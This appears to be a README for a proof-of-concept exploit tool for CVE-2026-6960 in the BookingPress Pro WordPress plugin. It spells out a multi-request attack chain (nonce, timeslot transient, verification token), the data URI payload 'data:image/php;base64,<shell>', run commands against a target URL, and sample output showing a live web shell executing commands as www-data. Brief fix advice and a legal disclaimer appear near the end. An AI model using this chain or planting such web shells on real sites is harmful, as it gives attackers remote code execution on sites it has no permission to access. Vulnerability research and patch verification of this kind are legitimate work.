
Proof-of-concept exploit for CVE-2026-6960: unauthenticated arbitrary file upload in BookingPress Pro ≤ 5.6. Automates a 3-step chain to upload a PHP web shell via data URI injection, achieving remote code execution on vulnerable WordPress sites.
Research by: Atomic Edge Severity: Critical | CVSS: 9.8 | Auth Required: None
⚠️ v2 — Technical corrections applied based on community feedback. See Changelog for details.
A critical unauthenticated arbitrary file upload vulnerability exists in the BookingPress Pro WordPress plugin (versions ≤ 5.6). The booking submission handler processes a signature custom field value as a . The plugin extracts the file extension from the MIME type portion of the URI via regex and passes it directly to — with no extension allowlist or blocklist. This allows an attacker to write a PHP web shell to a web-accessible directory and achieve .
bookingpress_book_appointment_bookingfile_put_contents()| Property | Detail |
|---|---|
| Plugin | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Affected | ≤ 5.6 |
| Fixed In | 5.7 |
| Vector | Network / Unauthenticated |
| AJAX Action | bookingpress_book_appointment_booking |
| Root Cause | Extension extracted from attacker-controlled MIME type in data URI → file_put_contents() with no allowlist |
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
⚠️ All of the following must be true for the site to be exploitable:
Sites running ≤ 5.6 without a signature custom field configured are not exploitable via this vector.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
The vulnerable code path processes the signature field value as a data URI:
data:image/{ext};base64,{base64_encoded_content}
BookingPress extracts {ext} from the MIME type using a regex match, then writes the decoded content to disk using file_put_contents() with that extension appended to the filename — no allowlist check is performed. Supplying image/php as the MIME type results in a .php file being written to the upload directory.
This is fundamentally different from a standard multipart file upload — the payload is embedded in a JSON body field, not a file upload part.
pip install requests
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com
# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/
# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
| Flag | Description | Default |
|---|---|---|
-u, --url | Target WordPress URL | (required) |
-bp, --booking-page | Page path containing the BookingPress form | / |
-s, --service-id | BookingPress service ID | 1 |
-f, --filename | Shell filename (extension injected into data URI MIME) | shell.php |
--no-verify | Disable SSL certificate verification | false |
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml) before extracting the extensionwp_check_filetype_and_ext() for all file type validation→ Update to BookingPress Pro 5.7 immediately.
| # | Issue | v1 (incorrect) | v2 (corrected) |
|---|---|---|---|
| 1 | AJAX action | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Payload method | Multipart file upload with image/png | Data URI: data:image/{ext};base64,... |
| 3 | Exploit flow | Direct unauthenticated POST | 3-step prerequisite chain (nonce → transient → token) |
| 4 | Precondition | Not documented | Signature custom field must be configured |
This repository is intended for authorized security research and educational purposes only. Do not use this tool against any system without explicit written permission from the system owner. Unauthorized use may violate the CFAA (USA), Criminal Code s.342.1 (Canada), EU NIS2 Directive, and other applicable laws. The authors accept no liability for misuse or damages arising from this code.